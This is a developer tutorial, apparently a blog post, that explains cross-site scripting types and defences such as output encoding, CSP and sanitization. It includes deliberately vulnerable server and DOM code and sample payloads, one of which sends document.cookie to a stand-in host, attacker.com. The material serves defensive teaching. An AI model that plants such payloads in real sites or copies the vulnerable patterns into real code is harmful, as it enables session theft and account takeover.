Cross-Site Scripting (XSS) is one of the most common web application vulnerabilities. Even today, it frequently appears in security reports and vulnerability scans.
For developers, understanding XSS is critical because it directly affects user security, session integrity, and application trust.
In this article, we'll cover:
- What XSS is
- How XSS attacks work
- The main types of XSS
- Real examples of vulnerable code
- Practical ways to prevent it
What is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript into a web page viewed by other users. :contentReference[oaicite:0]{index=0}
When a website takes user input and displays it without proper validation or encoding, an attacker can insert JavaScript that executes in the victim’s browser.
Because the script runs in the context of the trusted website, it can access anything the site itself can access. :contentReference[oaicite:1]{index=1}
This may include:
session cookies
local storage data
user actions
page content
API requests
In simple terms:
User input + No sanitization = XSS vulnerability
How XSS Attacks Work
A typical XSS attack involves three actors:
1. The attacker
2. The vulnerable website
3. The victim user
Attack flow:
Attacker injects malicious script
↓
Website stores or reflects the input
↓
Victim loads the infected page
↓
Browser executes the attacker's script
Example payload:
<script>alert('XSS')</script>
If a website directly displays user input inside HTML, this script will execute in the browser.
The browser cannot distinguish between legitimate code and malicious injected code, so it executes both. :contentReference[oaicite:2]{index=2}
A Simple Vulnerable Example
Imagine a website that displays a user’s name:
app.get("/hello", (req, res) => {
const name = req.query.name
res.send(`<h1>Hello ${name}</h1>`)
})
Normal request:
/hello?name=Alice
Output:
Hello Alice
Malicious request:
/hello?name=<script>alert('XSS')</script>
Output:
Hello <script>alert('XSS')</script>
Result:
Browser executes the script
This is a classic Reflected XSS vulnerability.
The Three Main Types of XSS
Developers usually encounter three categories of XSS vulnerabilities.
1. Stored (Persistent) XSS
Stored XSS happens when malicious input is saved on the server and later displayed to other users.
Example scenario:
User comments on blog
Comment stored in database
Other users load the page
Malicious script executes
Example payload in a comment:
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
Every user viewing the comment executes the script.
Stored XSS is often the most dangerous type because it spreads automatically.
2. Reflected XSS
Reflected XSS occurs when malicious input is immediately returned in the HTTP response.
Example:
https://example.com/search?q=<script>alert(1)</script>
If the search page reflects the query directly into HTML, the script executes.
Reflected XSS often appears in:
search pages
error messages
login redirects
URL parameters
3. DOM-Based XSS
DOM-based XSS happens when JavaScript on the page directly inserts user input into the DOM.
Example:
const name = new URLSearchParams(location.search).get("name")
document.getElementById("output").innerHTML = name
Attack:
?name=<img src=x onerror=alert(1)>
The browser inserts this HTML into the page and executes it.
This vulnerability exists entirely in the browser, not on the server.
What Attackers Can Do with XSS
Once attackers run JavaScript in a victim's browser, they can:
steal session cookies
perform actions as the user
capture login credentials
redirect users to phishing sites
modify page content
spread malware
In some cases, XSS can lead to full account takeover.
How Developers Can Prevent XSS
Preventing XSS requires multiple layers of defense.
1. Escape User Input (Output Encoding)
Never insert raw user input into HTML.
Unsafe:
<div>${userInput}</div>
Safe:
HTML encode special characters
< → <
> → >
Many template engines automatically escape output.
2. Avoid Dangerous APIs
Certain APIs make XSS easy to introduce.
Examples:
innerHTML
document.write
eval
dangerouslySetInnerHTML
Safer alternative:
element.textContent = userInput
3. Use Content Security Policy (CSP)
Content Security Policy restricts which scripts can execute.
Example header:
Content-Security-Policy: default-src 'self'
This helps block injected scripts even if a vulnerability exists.
4. Sanitize HTML Input
If your application allows HTML input (for example comments or rich text), sanitize it using a trusted library.
Sanitization removes dangerous elements like:
<script>
onerror=
onclick=
javascript:
5. Validate Input
While validation alone is not enough, it reduces risk.
Examples:
length limits
allowed characters
expected formats
Never trust client-side validation alone.
Conclusion
Cross-Site Scripting remains one of the most common vulnerabilities in web applications.
The root cause is almost always the same:
Untrusted input rendered as executable code
For developers, the most effective defenses are:
output encoding
safe templating engines
HTML sanitization
Content Security Policy
secure coding practices
Security should be considered part of the development process — not something added later.
Top comments (0)